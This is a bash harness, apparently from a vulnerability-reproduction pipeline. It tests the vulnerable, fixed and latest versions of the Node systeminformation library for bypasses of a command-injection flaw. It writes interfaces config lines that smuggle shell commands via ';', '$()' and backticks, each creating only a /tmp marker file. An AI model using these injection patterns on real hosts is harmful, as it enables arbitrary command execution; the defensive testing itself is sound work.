#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-50289 - VARIANT / BYPASS search
# =============================================================================
# Root cause (from repro): on Linux, systeminformation's public
# networkInterfaces() -> getLinuxDHCPNics() -> checkLinuxDCHPInterfaces(file)
# interpolated an attacker-controlled `source`-directive path UNQUOTED into
#     execSync(`cat ${file} 2> /dev/null | grep 'iface\\|source'`)
# so shell metacharacters in a `source` target executed arbitrary commands.
#
# Fix (5.31.7 / commit bbfddde): replaced the execSync(cat ...) shell call with
#     readFileSync(file, { encoding: 'utf8' }) + in-JS .filter(/iface|source/)
# removing the shell entirely from the source-directive recursion.
#
# This variant script tests THREE materially distinct candidate angles to find
# a bypass (works on fixed) or an alternate trigger (different data path on
# vulnerable) of the SAME root cause:
#
#   A. iface-directive NAME injection (sibling data path):
#      An attacker who can write /etc/network/interfaces.d/* can also craft
#      `iface <name> inet dhcp` lines. Does the parsed interface name reach a
#      shell sink? (Hypothesis: NO - it only flows to result.push() then
#      DHCPNics.indexOf(), never into execSync.)
#
#   B. source-directive BYPASS on fixed/latest (alternate metacharacters):
#      On 5.31.7 and latest 5.31.17, try `;`, `$()`, and backtick payloads in
#      the `source` target. (Hypothesis: NO bypass - readFileSync invokes no
#      shell, so metacharacters are inert.)
#
#   C. baseline sanity: original `;touch<TAB>` source injection on vulnerable
#      5.31.6 must still produce a marker (proves the harness + sink work).
#
# Exit codes:
#   0 = a distinct variant/bypass was reproduced on the FIXED/LATEST version.
#   1 = no variant/bypass found (negative result). Script still runs fully and
#       logs every attempt.
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$(cd "$(dirname "$0")" && pwd)"
mkdir -p "$LOGS"

cd "$ROOT"

LOG="$LOGS/vuln_variant_reproduction.log"
: > "$LOG"

log()  { echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$LOG"; }
logf() { echo "[$(date -u +%H:%M:%S)] $*" >> "$LOG"; }

VULN_COMMIT="da1cbf5eb09907cf5c3431f4c9ea441b7a227617"   # v5.31.6 (parent of fix)
FIXED_COMMIT="bbfddde48672d0ee124fefdb3cb4442fd9dd4f03"   # v5.31.7 (the fix)
LATEST_COMMIT="v5.31.17"                                  # latest release tag
RESTORE_COMMIT="bbfddde48672d0ee124fefdb3cb4442fd9dd4f03" # leave repo as repro did

INTERFACES_FILE="/etc/network/interfaces"
INTERFACES_BACKUP="$LOGS/vuln_variant_interfaces.backup"
BENIGN_IFACES_DIR="/etc/network/interfaces.d"
BENIGN_CFG="$BENIGN_IFACES_DIR/pruva_variant_benign.cfg"

# Distinct harmless marker oracles per candidate (all under /tmp).
MARKER_C=" /tmp/pruva_variant_markerC"   # baseline (vuln) - leading space stripped below
MARKER_C="/tmp/pruva_variant_markerC"
MARKER_A="/tmp/pruva_variant_markerA"    # iface-name injection
MARKER_B1="/tmp/pruva_variant_markerB1"  # source `;` bypass on fixed
MARKER_B2="/tmp/pruva_variant_markerB2"  # source `$()` bypass on fixed
MARKER_B3="/tmp/pruva_variant_markerB3"  # source backtick bypass on fixed

ALL_MARKERS="$MARKER_C $MARKER_A $MARKER_B1 $MARKER_B2 $MARKER_B3"

# --- Resolve repo location --------------------------------------------------
CACHE_CTX="$ROOT/project_cache_context.json"
REPO=""
if [ -f "$CACHE_CTX" ]; then
  CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$CACHE_CTX" 2>/dev/null || true)"
  if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/repo/.git" ]; then
    REPO="$CACHE_DIR/repo"
    log "Reusing prepared project cache repo at $REPO"
  fi
fi
if [ -z "$REPO" ]; then
  REPO="$ROOT/artifacts/systeminformation"
  log "No prepared cache; cloning repo to $REPO"
  git clone --quiet https://github.com/sebhildebrandt/systeminformation.git "$REPO" >>"$LOG" 2>&1
fi

cd "$REPO"
git fetch --quiet origin >>"$LOG" 2>&1 || true
log "Repo ready at $REPO"

# --- Helpers ----------------------------------------------------------------
clean_markers() {
  for m in $ALL_MARKERS; do rm -f "$m" 2>/dev/null || true; done
}

setup_iface_name_fixture() {
  # Candidate A: an `iface` line whose NAME carries shell metacharacters.
  # The iface name is parsed as parts[1] and only ever pushed to the DHCP nic
  # list (later used in indexOf). It must NOT reach a shell.
  log "[A] Setting up iface-directive NAME injection fixture"
  if [ -f "$INTERFACES_FILE" ]; then
    sudo cp "$INTERFACES_FILE" "$INTERFACES_BACKUP" 2>/dev/null || true
  fi
  sudo mkdir -p "$BENIGN_IFACES_DIR"
  sudo tee "$BENIGN_CFG" >/dev/null <<'EOF'
auto pruva-variant-benign0
iface pruva-variant-benign0 inet dhcp
EOF
  # iface name = "pruvaA;touch" then a TAB then the marker path.
  # JS replaces \s+ with a single space and splits on space, so parts[1] is the
  # injected name; the marker path is a later part. No shell is involved.
  printf 'auto lo\niface lo inet loopback\nsource %s\niface pruvaA;touch\t%s inet dhcp\n' \
    "$BENIGN_CFG" "$MARKER_A" | sudo tee "$INTERFACES_FILE" >/dev/null
  log "[A] Contents of $INTERFACES_FILE:"
  cat -A "$INTERFACES_FILE" | sed 's/^/    /' >> "$LOG"
}

setup_source_bypass_fixture() {
  # Candidate B: `source` targets with three different shell-injection styles.
  # On fixed/latest the path goes to readFileSync() -> no shell -> inert.
  log "[B] Setting up source-directive bypass fixture (; $() and backticks)"
  if [ -f "$INTERFACES_FILE" ]; then
    sudo cp "$INTERFACES_FILE" "$INTERFACES_BACKUP" 2>/dev/null || true
  fi
  sudo mkdir -p "$BENIGN_IFACES_DIR"
  sudo tee "$BENIGN_CFG" >/dev/null <<'EOF'
auto pruva-variant-benign0
iface pruva-variant-benign0 inet dhcp
EOF
  # Each source target is one whitespace-delimited token for JS split(' ')[1],
  # using a TAB inside the payload so a shell (if present) would tokenise the
  # touch command. Three independent markers prove which (if any) style fires.
  printf 'auto lo\niface lo inet loopback\nsource %s\nsource /tmp/pruva_vb1_nonexist;touch\t%s\nsource /tmp/pruva_vb2_nonexist$(touch\t%s)\nsource /tmp/pruva_vb3_nonexist`touch\t%s`\n' \
    "$BENIGN_CFG" "$MARKER_B1" "$MARKER_B2" "$MARKER_B3" \
    | sudo tee "$INTERFACES_FILE" >/dev/null
  log "[B] Contents of $INTERFACES_FILE:"
  cat -A "$INTERFACES_FILE" | sed 's/^/    /' >> "$LOG"
}

setup_baseline_fixture() {
  # Candidate C: the original proven source-injection payload (sanity baseline).
  log "[C] Setting up baseline source-injection fixture"
  if [ -f "$INTERFACES_FILE" ]; then
    sudo cp "$INTERFACES_FILE" "$INTERFACES_BACKUP" 2>/dev/null || true
  fi
  sudo mkdir -p "$BENIGN_IFACES_DIR"
  sudo tee "$BENIGN_CFG" >/dev/null <<'EOF'
auto pruva-variant-benign0
iface pruva-variant-benign0 inet dhcp
EOF
  printf 'auto lo\niface lo inet loopback\nsource %s\nsource /tmp/pruva_vc_nonexist;touch\t%s\n' \
    "$BENIGN_CFG" "$MARKER_C" | sudo tee "$INTERFACES_FILE" >/dev/null
  log "[C] Contents of $INTERFACES_FILE:"
  cat -A "$INTERFACES_FILE" | sed 's/^/    /' >> "$LOG"
}

restore_interfaces() {
  log "Restoring original /etc/network/interfaces"
  if [ -f "$INTERFACES_BACKUP" ]; then
    sudo cp "$INTERFACES_BACKUP" "$INTERFACES_FILE" 2>/dev/null || true
  else
    sudo rm -f "$INTERFACES_FILE" 2>/dev/null || true
  fi
  sudo rm -f "$BENIGN_CFG" 2>/dev/null || true
}

# run_api <role> <commit> <fixture-marker-list>
# Prints a space-separated "<marker>=<exists>" list, one per marker.
run_api() {
  local role="$1"
  local commit="$2"
  shift 2
  local markers="$*"
  local out="$LOGS/${role}_api.log"
  logf "=== $role : checking out $commit ==="
  git checkout --quiet "$commit" 2>>"$LOG"
  local resolved
  resolved="$(git rev-parse HEAD)"
  local tag
  tag="$(git describe --tags 2>/dev/null || echo 'untagged')"
  logf "$role resolved HEAD=$resolved tag=$tag"

  clean_markers
  logf "$role markers pre-state: cleaned"

  # Build a JS array literal of marker paths to check after the API call.
  local js_markers
  js_markers="$(printf '%s\n' $markers | python3 -c 'import sys,json; print(json.dumps([l.strip() for l in sys.stdin if l.strip()]))')"

  timeout 60 node -e '
    const si = require(process.argv[1]);
    const fs = require("fs");
    const markers = JSON.parse(process.argv[2]);
    si.networkInterfaces(true)
      .then(function(r) {
        const states = markers.map(function(m){ return m + "=" + (fs.existsSync(m) ? "true" : "false"); });
        console.log("NETWORK_INTERFACES_RESOLVED");
        console.log("iface_count=" + (r && r.length ? r.length : 0));
        console.log(states.join(" "));
        process.exit(0);
      })
      .catch(function(e) {
        const states = markers.map(function(m){ return m + "=" + (fs.existsSync(m) ? "true" : "false"); });
        console.log("NETWORK_INTERFACES_ERROR");
        console.log("err=" + (e && e.message ? e.message : String(e)));
        console.log(states.join(" "));
        process.exit(0);
      });
  ' "$REPO" "$js_markers" >"$out" 2>&1 || true

  logf "$role raw output:"
  sed 's/^/    /' "$out" >> "$LOG"

  # Echo the marker states line for the caller.
  grep -E '^(NETWORK_INTERFACES_RESOLVED|NETWORK_INTERFACES_ERROR)' "$out" >/dev/null || true
  local states
  states="$(grep -oE '[^ ]+=[^ ]+' "$out" | grep -E '^/tmp/' | tr '\n' ' ')"
  echo "$states"
}

# --- Main sequence -----------------------------------------------------------
# We test each fixture against the relevant versions.
#   baseline (C)  -> vulnerable only (sanity that the sink fires)
#   iface-name (A)-> vulnerable AND fixed (sibling data path must NOT fire)
#   source bypass (B) -> fixed AND latest (bypass attempt)

results=()

# C: baseline on vulnerable
setup_baseline_fixture
C_VULN="$(run_api "C_vuln_5_31_6" "$VULN_COMMIT" "$MARKER_C")"
results+=("C_vuln:$C_VULN")
restore_interfaces

# A: iface-name injection on vulnerable + fixed
setup_iface_name_fixture
A_VULN="$(run_api "A_vuln_5_31_6" "$VULN_COMMIT" "$MARKER_A")"
results+=("A_vuln:$A_VULN")
A_FIXED="$(run_api "A_fixed_5_31_7" "$FIXED_COMMIT" "$MARKER_A")"
results+=("A_fixed:$A_FIXED")
restore_interfaces

# B: source bypass on fixed + latest
setup_source_bypass_fixture
B_FIXED="$(run_api "B_fixed_5_31_7" "$FIXED_COMMIT" "$MARKER_B1 $MARKER_B2 $MARKER_B3")"
results+=("B_fixed:$B_FIXED")
B_LATEST="$(run_api "B_latest_5_31_17" "$LATEST_COMMIT" "$MARKER_B1 $MARKER_B2 $MARKER_B3")"
results+=("B_latest:$B_LATEST")
restore_interfaces

# Restore repo to the state the repro stage left it in.
git checkout --quiet "$RESTORE_COMMIT" 2>>"$LOG"
log "Repo restored to $RESTORE_COMMIT"

# --- Evaluate ---------------------------------------------------------------
log "=== SUMMARY ==="
for r in "${results[@]}"; do log "  $r"; done

# Parse helper: extract marker=<bool> for a given marker from a states string.
state_of() { echo "$1" | tr ' ' '\n' | grep -E "^$2=" | head -1 | cut -d= -f2 || echo "false"; }

C_VULN_M="$(state_of "$C_VULN" "$MARKER_C")"
A_VULN_M="$(state_of "$A_VULN" "$MARKER_A")"
A_FIXED_M="$(state_of "$A_FIXED" "$MARKER_A")"
B_FIXED_M1="$(state_of "$B_FIXED" "$MARKER_B1")"
B_FIXED_M2="$(state_of "$B_FIXED" "$MARKER_B2")"
B_FIXED_M3="$(state_of "$B_FIXED" "$MARKER_B3")"
B_LATEST_M1="$(state_of "$B_LATEST" "$MARKER_B1")"
B_LATEST_M2="$(state_of "$B_LATEST" "$MARKER_B2")"
B_LATEST_M3="$(state_of "$B_LATEST" "$MARKER_B3")"

log "baseline C (vuln) marker=$C_VULN_M   [expect true: sink fires on vulnerable]"
log "iface-name A (vuln) marker=$A_VULN_M  [expect false: iface name does not reach shell]"
log "iface-name A (fixed) marker=$A_FIXED_M [expect false]"
log "source-bypass B (fixed) m1=$B_FIXED_M1 m2=$B_FIXED_M2 m3=$B_FIXED_M3 [expect false,false,false]"
log "source-bypass B (latest) m1=$B_LATEST_M1 m2=$B_LATEST_M2 m3=$B_LATEST_M3 [expect false,false,false]"

# A bypass/variant is confirmed ONLY if a marker fires on FIXED or LATEST.
BYPASS_FOUND="false"
for v in "$B_FIXED_M1" "$B_FIXED_M2" "$B_FIXED_M3" "$B_LATEST_M1" "$B_LATEST_M2" "$B_LATEST_M3" "$A_FIXED_M"; do
  if [ "$v" = "true" ]; then BYPASS_FOUND="true"; fi
done

if [ "$BYPASS_FOUND" = "true" ]; then
  log "VERDICT: VARIANT/BYPASS FOUND - a marker was created on fixed or latest via a distinct path"
  exit 0
else
  log "VERDICT: NO VARIANT/BYPASS - fix covers the source-directive sink; iface-name data path does not reach a shell"
  exit 1
fi
